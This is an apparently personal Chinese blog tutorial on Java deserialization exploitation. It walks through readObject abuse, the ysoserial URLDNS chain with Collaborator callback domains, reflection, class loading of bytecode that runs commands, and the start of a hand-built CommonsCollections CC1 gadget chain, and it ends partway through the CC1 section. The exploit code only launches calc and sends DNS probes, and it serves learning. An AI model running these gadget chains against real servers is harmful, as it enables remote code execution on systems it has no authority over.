March 2, 2023

Java反序列化研究

0X0 前言

入Web也有三个月了吧,在这三个月也学到了很多,终于步入了Java安全领域,打算在这里开一个新坑,研究Java的CC链和内存马,以及RMI和JNDI,框架等等,这是一开始想不到的高度,所以写的会尽可能基础详细,可以看懂,加油吧,路还长
参考视频:

讲的究极无敌细腻,强推

1X1 Java原生序列化和反序列化

Java中序列化对应的函数为:ObjectOutputStream.WriteObject函数
反序列化对应的为:ObjectInputStream.readObject函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.boogipop.www.base;
public class serialize {
private String name;
private int age;

public serialize(String name, int age) {
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "serialize{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

public void setName(String name) {
this.name = name;
}

public void setAge(int age) {
this.age = age;
}

public String getName() {
return name;
}

public int getAge() {
return age;
}
}

image.png
正常来说这样会报错,如何解决呢,默认的类是不可以序列化的,要想序列化需要实现一个接口:Serializeable
image.png
image.png
成功写入序列化内容,可以看到部分信息,比如我们传入的名称kino
序列化完了之后就该反序列化了吧,接下来就来反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.boogipop.www.base;


import java.io.*;
import java.util.Arrays;

public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//反序列化
//创建对象流
FileInputStream fis=new FileInputStream("1.bin");
ObjectInputStream ois=new ObjectInputStream(fis);
//读取文件
serialize s=(serialize)ois.readObject();//反序列化后为object类型,强制转化一下类型
ois.close();
System.out.println("over");
System.out.println(s);
}
}

image.png
反序列化成功,经过测试发现不强制转换似乎也没什么区别:
image.png
这会产生什么安全问题呢?
只要服务端反序列化数据,客户端传递的类就会被执行,给予攻击者执行任意代码的权利

可能的形式

1X1.1 如何执行危险命令

下面是一个基础案例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.boogipop.www.base;

import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class serialize implements Serializable {
private String name;
private int age;

public serialize() {
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "serialize{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

public void setName(String name) {
this.name = name;
}

public void setAge(int age) {
this.age = age;
}

public String getName() {
return name;
}

public int getAge() {
return age;
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.boogipop.www.base;


import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Main {
public static void Serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException {
serialize per= new serialize();
Serialize(per);

}

}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.boogipop.www.base;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Apply {
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
serialize unserialize =(serialize)unserialize("1.bin");
System.out.println(unserialize);
}
}

注意观察,由于我们在serialize类重写了readObject方法,所以当反序列化时,ois.readObject();调用的是重写的readObject方法,因此触发了我们的calc命令

这种类型是最基础的也是最不可能发生的,一般不可能有人会在服务器写这么危险的类,所以并不太可能发生这种情况,只有我们测试才会手动添加一个

1x1.2 共同条件

1x1.2.1 入口类

入口类一般是Map,Hashmap,HashTable这些集合类,因为集合类型宽泛(泛型),因此肯定继承了Serializeable接口,在Hashmap类中也重写了readObject方法:
image.png
那为什么Hashmap要重写readObject方法呢?
在大佬的文章中我得到了答案:

HashMap中,由于Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的,对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。
Hash值不同导致的结果就是:有可能一个HashMap对象的反序列化结果与序列化之前的结果不一致。即有可能序列化之前,Key=’AAA’的元素放在数组的第0个位置,而反序列化值后,根据Key获取元素的时候,可能需要从数组为2的位置来获取,而此时获取到的数据与序列化之前肯定是不同的

1X1.2.2 调用链

所谓调用链就是一条完整的命令执行流程,在入口类中的readObject方法中,最好有一些常见的方法,这样不管我们传什么东西进去,他都可以调用这个方法,也加大了进一步探索的可能
调用链中一般会使用很多重名函数,为了实现不同的效果

1X1.2.3 执行类

就是最后RCE的地方,这一部分就至关重要了,要在调用链中找到一个可以执行命令的类,也是相对比较困难的

1x1.3 以ysoserial的URLDNS说起

ysoserial作为一款github开源的java反序列化工具,内涵CC链,等多条payload,我们选取payload中的URLDNS来讲,该payload的作用是校验target是否存在java反序列化漏洞
image.png
从源码导包可以看出调用的是URL类,接下来我们就从该类去尝试摸一条调用链出来:
从上面的共同条件来看,我们已经知道调用链需要满足重写readObject方法,因此我们查看一下Hashmap源码中的readObject:
image.png
已经是重写了readObject方法,至于原因在上面已经阐述了,重点跟踪到putVal函数:
image.png
在readObject方法的最后调用了putVal函数,putVal中调用了hash函数,我们继续跟进:
image.png
在hash方法中调用了key.hashCode方法,Object key是我们的可控类,也就是我们可以调用可控类中的hashCode方法,这样是之前我为什么强调调用链中需要有常见函数
假如我们将URL类传进去会发生什么呢?
image.png
在URL类也发现了hashCode函数,也就是说假如传入URL的实例对象,那么就会触发URL.HashCode并且这里有个判断,假如hashCode不为-1则直接return hashCode,反之就进入我们的目的函数**hashCode**,hashCode属性的默认值即为-1,因此当我们new一个URL对象后,就进入了目标函数!咱们继续跟进:
image.png
观察到了getHostAddress(u);函数,根据函数名也知道这是获取主机地址的函数,也就是说,假如存在反序列化漏洞,那么我可以传入我们VPS的地址,并开启一个监听,这样就可以校验是否存在Java反序列化漏洞,这就是ysoserial的DNSURL的原理所在,那么我们测试一下实际能否按照我们设想的进行呢?
这里利用burp的collaboration功能起一个域名监听,实验代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.boogipop.www.base;


import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URI;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static void Serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException {
HashMap<URL,Integer> hashmap=new HashMap<>();
hashmap.put(new URL("http://t6069r35pt46go32peqkixc6ixoncc.burpcollaborator.net"),1);
Serialize(hashmap);

}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.boogipop.www.base;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.net.URL;
import java.util.HashMap;

public class Apply {
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
serialize unserialize =(serialize)unserialize("1.bin");
System.out.println(unserialize);
}
}

这边先进行序列化:
image.png
奇怪的事情发生了,为什么我单单进行了序列化却发送了DNS请求?为了理清思路,我们断掉调试一下:
image.png
我们跟踪一下调试进程:
image.png
可以发现第一步是进入了HashMap的putVal函数,那根据上面的分析,接下来就会必定会进入getHostAddress(u);函数,因此触发了DNS请求,然后由于hashCode属性被更改,所以反序列化的时候无法触发DNS请求
因此问题就来了,我们怎么分辨是反序列化漏洞造成的DNS请求呢?假如需要满足我们的理想模型,那么是否在hashmap.put(new URL("http://q1s3sx95kfyzsopaac8bc7goqfw5ku.burpcollaborator.net"),1);函数这里不该发送DNS请求,并且put后再把hashCode属性改为-1,这样反序列化才能再次调用
那么如何实现呢?这就得用到java反射了,接下来就围绕着这一点继续展开
最后给上一张自己画的逻辑图:
image.png

1x1.4 Java反射+URLDNS链

1x1.4.1 先讲讲反射

首先说到反射,那有反射肯定就有正射,什么是正射和反射呢
正射:通过类来实例化对象,就是我们经常用的new
反射:和正射恰巧相反,反射是通过实例化对象,反过来获取所在类的所有信息结构的一种方式,常用的方法有getClass、forNmae、getConstructor.....等等方法
下面就举一个小例子来带大家体会一下反射:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.boogipop.www.base;


import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.URI;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static void Serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
//正射
serialize s1=new serialize("kino",12);
//反射
Class c1 = s1.getClass();
Constructor constructor = c1.getConstructor(String.class, int.class);//通过反射获取构造函数,再获取实例化对象
serialize s2=(serialize)constructor.newInstance("Boogipop",15);
System.out.println(s2);
Field age = c1.getDeclaredField("age"); //获取属性并且修改
age.set(s2,18);
System.out.println(s2);

}

}

运行如上代码是会报错的(嘻嘻):
image.png
这是因为私有属性默认是不能通过set方法修改的,所以我们得再加一条代码:
age.setAccessible(true);:允许修改
image.png
其中serialize类就是之前用的,可以从代码中直观的感受正射和反射的区别,同理也可以用反射获取属性,方法….等等,总而言之反射是JavaSE中最后一个板块,相信看这篇文章的各位已经学的非常透彻了,我也就不多赘述,大致的流程就是如上代码

1.1.4.2 解决1x1.4的疑惑

我们的思路已经比较清晰了,要让HashMap在put时不触发DNS请求,那也就是不能让hashCode属性为-1,只需要随便改成一个其他的整型数即可
其次在这之后我们需要把hashCode的属性值再改为-1,因为这样反序列化时才能够触发DNS请求,这也就达到了我们想要实现的效果,这个效果也就是yoserial中DNSURL.java的核心功能代码
我们只需要用反射来修改类的属性即可,这个在上面提到过
修改后的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.boogipop.www.base;


import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.URI;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static void Serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashmap=new HashMap<>();
URL url=new URL("http://rvqasmn68m3pwafv6v7hoixwfnld92.oastify.com");
Class c1=url.getClass();//反射获取URL类
Field hashcode = c1.getDeclaredField("hashCode");
hashcode.setAccessible(true);//允许访问
hashcode.set(url,1145); //修改hashCode
hashmap.put(url,1); //添加至hashmap集合中
hashcode.set(url,-1); //修改回-1
Serialize(hashmap);

}

}

序列化未发现DNS请求:
image.png
反序列化收到DNS请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.boogipop.www.base;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.net.URL;
import java.util.HashMap;

public class Apply {
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
unserialize("1.bin");

}
}

image.png
调用栈肯定就是我们之前分析的那样,我们可以打个断点调试:
image.png
可以看到hashCode的值在反序列化时就是-1,因此触发了请求:
image.png

1X1.4.3 反射在Java反序列化中的利用

从上面的例子中可以发现一个很有意思的地方:
image.png
这一条命令我们穿的参数是字符串,这是不是和PHP的eval函数(动态加载)有点相似了,因此在这里我们就可能引入本来不能序列化的类,比如Runtime.getRuntime,最典型的命令执行类
除此之外还有反射的invoke方法,可以让我们调用除了重名函数以外的函数

1X1.5 JDK动态代理

1x1.5.1 JDK静态代理

所谓的静态代理可以举一个很形象的例子,那就是

1
2
3
4
public interface Rentinterace {
void rent();
void pay();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
public class RentDirect implements Rentinterace{

@Override
public void rent() {
System.out.println("租房");
}

@Override
public void pay() {
System.out.println("付钱");
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class RentProxy implements Rentinterace{
public Rentinterace user;
public RentProxy(Rentinterace user) {
this.user=user;
}

@Override
public void rent() {
System.out.println("中间商帮你租房");
user.rent();
}

@Override
public void pay() {
System.out.println("中间商帮你付款");
user.pay();
}
}

1
2
3
4
5
6
7
8
9
10
11
public class Test {
public static void main(String[] args) {
Rentinterace user=new RentDirect();
Rentinterace usr=new RentProxy(user);
user.pay();
user.rent();
usr.pay();
usr.rent();
}
}

上述例子是一个完整的静态代理,可以看到RentProxy类就相当于中间商,“卡在”中间,我们可以通过它间接的去调用RentDierct类中的方法,但是静态代理有个缺点
就是假如我们修改接口,那么Direct类和Proxy类都需要修改,这就显得很麻烦,因此动态代理诞生了

1X1.5.2 回到动态代理

在Java中也提供了动态代理服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Test {
public static void main(String[] args) {
Rentinterace user=new RentDirect();
//动态代理
//要代理的接口、要做的事情、classLoader
InvocationHandler userinvocationhandler=new Userinvocationhandler(user);
Rentinterace actionuser=(Rentinterace) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(),userinvocationhandler);
actionuser.rent();
actionuser.pay();

}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class Userinvocationhandler implements InvocationHandler {
Rentinterace user;
public Userinvocationhandler(Rentinterace user) {
this.user=user;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("这里是动态代理,我调用了方法:"+method.getName());
method.invoke(user,args);
return null;
}
}

上述例子就是个动态代理的例子,我们调用了Proxy.newProxyInstance方法:
image.png
可以看到上图中需要的是哪个参数,要代理的接口,类加载器,要处理的事情
其中要处理的事情就是一个InvocationHandler接口,我们要新建一个类去重写invoke方法,如上述代码,执行结果如下
image.png
到这里JDK的动态代理就基本结束了

1X1.5.3 动态代理和反序列化的关系

举个例子吧,假如你想要执行的危险命令为B.danger,刚好有一个入口类是A(Object),这个Object就是我们可控的参数,我们让Object为B类,但是A中的方法没有danger,只有A.abc=>B.abc,也就是不能执行命令,但是假如我们可控类是个代理类型的O(Object),然后O里的可控参数O2刚好调用了danger,那也只需要让O2为B类即可,说的可能有点抽象,大家自行意会

1X1.6 类的动态加载

1X1.6.1类加载与反序列化

在此之前需要介绍2个代码块,静态代码块和构造代码块

1
2
3
4
5
6
7
{
system.out.printIn("构造代码块");
}

static {
system.out.printIn("静态代码块");
}

它们两的形式就如上,这里就涉及到一个类加载的问题
众所周知,在类加载的时候是会执行代码的
初始化和实例化:执行静态代码块,所谓初始化不是实例化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
	 public class Person {
{
System.out.println("构造代码块");
}
static {
System.out.println("静态代码块");
}
public Person() {
System.out.println("无参构造方法");
}
public Person(String word) {
System.out.println(word);
}
private int id;
private int age;
private String name;

@Override
public String toString() {
return "Person{" +
"id=" + id +
", age=" + age +
", name='" + name + '\'' +
'}';
}

public void setId(int id) {
this.id = id;
}

public void setAge(int age) {
this.age = age;
}

public void setName(String name) {
this.name = name;
}

public int getId() {
return id;
}

public int getAge() {
return age;
}

public String getName() {
return name;
}
}
1
2
3
4
5
public class Test {
public static void main(String[] args) throws ClassNotFoundException {
Class.forName("Person");
}
}

image.png
根据执行结果可以知道加载了静态代码块,构造代码块等未执行
我们也可以让类加载的时候不进行初始化,在forName的源码可以看见:
image.png
initialize默认为true,也就是默认初始化,所以执行了静态代码块的方法,构造方法默认需要四个参数,由于最后一个为null,也就是三个,一个String,一个ClassLoader
ClassLoader待会儿会提到,是一个类加载器

1
2
3
4
5
6
public class Test {
public static void main(String[] args) throws ClassNotFoundException {
ClassLoader c1=ClassLoader.getSystemClassLoader();
Class.forName("Person",false,c1);
}
}

image.png
可以看到手动停止了类初始化
那再来说说实例化:

1
2
3
4
5
6
7
8
9
10
public class Test {
public static void main(String[] args) throws ClassNotFoundException {
// Class.forName("Person");
// ClassLoader c1=ClassLoader.getSystemClassLoader();
// Class.forName("Person",false,c1);
new Person("Hello");

}
}

image.png
在类进行实例化的时候,构造代码块和构造函数和静态代码块一并执行,这就是两者的区别

1X1.6.2 双亲委派机制(跟进调试)

所谓的双亲委派机制,指的就是:当一个类加载器收到了类加载的请求的时候,他不会直接去加载指定的类,而是把这个请求委托给自己的父加载器去加载。只有父加载器无法加载这个类的时候,才会由当前这个加载器来负责类的加载。
那么,什么情况下父加载器会无法加载某一个类呢?
其实,Java中提供的这四种类型的加载器,是有各自的职责的:

那么也就是说,一个用户自定义的类,如com.hollis.ClassHollis 是无论如何也不会被Bootstrap和Extention加载器加载的。其实很好理解,就是一层层的去委派,自上而下
接下来就在IDEA中断点调试一下,分析一下它的流程,调试代码如下:
image.png
首先是进入了ClassLoader类里的loadClass方法:
image.png
调用了Launcher(Appclassloader)里的loadclass方法:
image.png
之后就是一系列的安全判断,我们省去,只解释重要部分,在这里查询了parent加载器是否为null,结果为null的话就再往下慢慢去找
image.png
现在进入了URLclassloader里,属于ext拓展类加载器,这是app加载器的父类加载器,URLclassloader是Appclassloader类的父类:
image.png
image.png
在父类加载器中没找到,就又回到了Appclassloader,然后调用了urlclassloader里的defineclass
image.png
继续前往URLclassLoadr的父类SecureClassLoader:
image.png
最后也是在Appclassloader里加载了这个类:
image.png
从结果可以看到是加载了字节码
image.png
从结果分析这几个类的父子关系是ClassLoader->SecureClassloader->urlclassloaer->applicationclassloaer->loadclass->defineclas(加载字节码)

1X1.6.3 URLclassLoader任意类加载

上文中已经分析了URLclassloader,其实这个类里面还有一个loadclass方法,可以通过URL加载类,通过如下例子来理解:
首先python起一个http服务:
image.png
image.png

1
2
3
4
5
6
7
8
9
10
11
import java.net.URL;
import java.net.URLClassLoader;

public class Test {
public static void main(String[] args) throws Exception {
URLClassLoader urlloader=new URLClassLoader(new URL[] {new URL("http://localhost:8000/")});
Class<?> hello = urlloader.loadClass("Hello");
hello.newInstance();

}
}

image.png
可以看到URLclassLoader可以加载class文件,除此之外还可以用别的方式,比如file协议,jar协议等等

1X1.6.4 ClassLoader加载字节码执行命令

在上文中也说到了,我们最后加载类是通过Classloader.defineClass方法加载字节码得到的,因此我们可以通过反射获取defineClass方法,加载我们定义的任意类,只需要以字节码的形式传入即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.io.IOException;

public class Hello {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static void main(String[] args) {

}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Test {
public static void main(String[] args) throws Exception {
Method defineclass=ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineclass.setAccessible(true);
byte[] words= Files.readAllBytes(Paths.get("E:\\CTF学习笔记\\Java\\Java\\out\\production\\Java\\Hello.class"));
ClassLoader c=ClassLoader.getSystemClassLoader();
Class hello = (Class) defineclass.invoke(c, "Hello", words, 0, words.length);
hello.newInstance();

}
}

image.png
RCE成功

1X1.6.5 Unsafe加载字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Test {
public static void main(String[] args) throws Exception {
byte[] words= Files.readAllBytes(Paths.get("E:\\CTF学习笔记\\Java\\Java\\out\\production\\Java\\Hello.class"));
ClassLoader c=ClassLoader.getSystemClassLoader();
Field f=Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);
Class<?> hello = unsafe.defineClass("Hello", words, 0, words.length, c, null);
hello.newInstance();

}
}

image.png
可能细心一点的人发现了,这次我获取的是unsafe的属性,而不是defineClass方法,同样的unsafe类也有definclass方法,但是他是原生的类(底层C加载),因此反射过来无法调用:
image.png
image.png
而classloader里的definclass就不是了:
image.png
因此我们需要先获取Unsafe对象,进而调用definclass方法,最后加载任意类从而实现命令执行:
image.png
在Unsafe的静态代码块里可以看到,theunsafe属性是一个Unsafe对象,因此获取他

1X2 深入研究CC链(1-7)

CC链全称CommonsCollections(Java常用的一个库)

1X2.1 CC1

CC1链作为最重要的一条链,所以我会尽可能的讲的很清楚,让大家看清楚,因为CCx的思路和CC1基本一致,所以理解透彻了一条链,那么其他链也就通了

1X2.1.1 环境搭建

JDK版本:jdk1.8_8u65
用8u65的原因的CC1在8u71版本后被修复了,下载地址
国内的oracle jdk下载的好像有点问题,下载不到8u65,原因未知
Maven依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<dependencies>
<!-- https://mvnrepository.com/artifact/junit/junit -->
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

Src源码:
由于默认下载的JDK的源码中是没有sun包的,所以在里面看到的sun包下的java文件都是class后缀(编译后),我们需要.java后缀的,也就是源码,这样才可以调试,就像下图
image.png
因此我们得去openjdk下载8u65版本的源码:

直接下载zip然后把源码中的sun包复制到jdk的src里:
image.png
最后再Project Struct里添加一下src路径:
image.png
image.png
刚刚的class文件就变成java文件了,做好了这些就可以开始分析了

1X2.1.2 流程分析——手写EXP

要开始分析了好紧张啊,因为感觉还是会有点绕的,希望能解释清楚吧
首先说说入口吧,入口就是Transformer接口的transform方法:
image.png
图中transform方法被21个类实现了,我们的入口类是InvokerTransformer
image.png
在该类中调用了transform方法,该方法需要传入一个object对象,然后会通过反射调用该对象的指定方法,这个都是我们可控的,因此造成了安全隐患
继续分析之前先来回顾一下如何通过反射来执行命令:

1
2
3
4
5
6
7
8
9
10
11

import java.lang.reflect.Method;

public class CC1 {
public static void main(String[] args) throws Exception {
Runtime r=Runtime.getRuntime();
Method exec = Runtime.class.getDeclaredMethod("exec", String.class);
exec.setAccessible(true);
exec.invoke(r,"calc");
}
}

image.png
这是在我们说反序列化基础里讲到的,那么继续来分析,我们说了入口类是InvokerTransformertransform方法,我们就试一下用InvokerTransformer去执行命令:
image.png
构造方法里需要传入的三个参数分别是,需要调用的方法,参数类型,参数,然后在transform方法里要传入一个object,去调用构造函数中传入的方法

1
2
3
4
5
6
7
8
9
import java.lang.reflect.Method;

public class CC1 {
public static void main(String[] args) throws Exception {
Runtime r=Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
exec.transform(r);
}
}

image.png
这样也可以成功的去执行命令,这也是我们CC1链中最为重要的部分,剩下的部分都是围绕着这个方法去展开的,知道了InvokerTransformer方法可以调用transform执行命令,那接下来的思路就是寻找还有其他什么地方调用了transform方法,并且可以控制传入的object,之后只需让object等于InvokerTransformer即可执行命令:
image.png
重点看到这三个Map集合,在这里就产生了2种CC链,一种是国外原版的,也就是ysoserial里的,另一种是流传到国内的另一个版本。Lazymap是国外的,Transformmap是国内的,但是这两种方法八九不离十,所以本质一模一样
image.png
在Transformedmap中调用了checkSetValue方法,其中就调用了transform,那么我们来分析一下TransformedMap类:
image.png
该类的构造方法是一个保护类型的,因此注定了只能在类内部进行调用,所以继续跟踪,寻找在哪被调用:
image.png
在decorate方法中实例化了TransformedMap类,那么谁又调用了checkSetvalue呢?
image.png
AbstractInputCheckedMapDecorator类中调用了setValue方法,其中就调用了checkValue方法,而且我们可以看到AbstractInputCheckedMapDecorator类其实上是Transformedmap的父类:
image.png
在这里假如对Java集合熟悉一点的人看到了setValue字样就应该想起来,我们在遍历集合的时候就用过setValue和getValue,这就是我们之前讲到的重名函数的利用
那接下来可以根据这个思路做一个小demo,也就是调用decorate方法获得实例化对象,再遍历这个Map,在遍历中调用setValue方法,由于TransformedMap继承了AbstractInputCheckedMapDecorator类,因此当调用setValue时会去父类寻找:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception {
Runtime r=Runtime.getRuntime();
InvokerTransformer invokertransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map<Object,Object> map=new HashMap<>();
map.put("afei","shishabi");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, invokertransformer);
for(Map.Entry entry:transformedmap.entrySet()){
entry.setValue(r);
}
}
}

具体思路如上,我们最终调用了setValue,然后触发了checkSetvalue,最终触发了Invokertransformer的transform方法,最终执行了命令
接下来该如何找到调用了setValue的类呢?我们继续看看setValue在哪儿被调用了:
image.png
在反射包中找到了一个绝佳的类AnnotationInvocationHandler,既有readObject重写,又在readObject中调用了setValue方法(让我怀疑这是不是java设计师留下来的后面),所以我们跟进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}

上面就是AnnotationInvocationHandler.readObject源码,在memberValue.setValue调用了方法,我们先分析一个AnnotationInvocationHandler类:
image.png
这个类没有被public声明,也就是在外面无法通过名字来调用,因此只可以用反射获取这个类,我们看一下这个类的构造方法需要传入什么类型的参数:
image.png
一个Class对象,一个Map对象,其中Class继承了Annotation,也就是需要传入一个注解类进去(Target,Override)这里我们选择Target后面会说为什么的

1
2
3
4
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationconstructor.setAccessible(true);
Object o = annotationconstructor.newInstance(Target.class, transformedmap);

最后调用起来如上,这只是部分代码,所以不需要知道里面传入的是啥,基本形式就是这样,解决完这一个问题,还有另一个问题,就是Runtime类是不可以被序列化的,如何解决这一个问题成了国际难题,还记得在一开始讲Java反序列化基础时我提到过的动态加载吗?
你看Invokertransformer像不像一个动态加载:
image.png
这些参数都是可控的,并且Invokertransformer是可以序列化的,因此可以利用Invokertransformer和反射去调用Runtime类:

1
2
3
4
5
6
7
8
//由于Runtime类不可序列化,但是Class类可以,因此反射调用
Method Runmethod= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class.class},new Object[]{"getRuntime",null}).transform(Runtime.class);

Runtime r=(Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(Runmethod);

Method execmethod=(Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class.class},new Object[]{"exec",String[].class}).transform(Runtime.class);

new InvokerTransformer("invoke",new Class[]{String.class},new Object[]{"calc"}).transform(r);

这样利用Invokertransformer和反射可以成功调用Runtime.getRuntime().exec方法解释一下上面代码的意思吧:
首先调用Invokertransformer方法的构造函数,传入的第一个参数String代表你需要调用的方法,第二个参数new Class[]数组代表你方法需要的参数类型,第三个参数new Object[]数组代表方法参数的具体值
Invokertransformer.transform传入的参数表示需要触发方法的对象,如第一段代码transform(Runtime.class);表示Runtime.class.getDeclaredMethod("getRuntime",null);
这样大致就明白了吧,但还有一个小问题,在刚刚的小Demo里:

1
2
3
4
5
6
7
Runtime r=Runtime.getRuntime();
InvokerTransformer invokertransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map<Object,Object> map=new HashMap<>();
map.put("afei","shishabi");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, invokertransformer);
for(Map.Entry entry:transformedmap.entrySet()){
entry.setValue(r);

其中我们的transformedmap是传入了一个invokertransformer,但是现在这个对象没有了,被拆成了多个,就是上述四段代码,得想个办法统合起来,这里就回到最初的Transformer接口里去寻找:
image.png
在ChainedTransformer里可以看到有transform方法,我们之前最终想要调用的是invokertransformer的transform方法,但是看ChainedTransformer的transform方法,他对属性iTransformers进行了一次递归调用
image.png
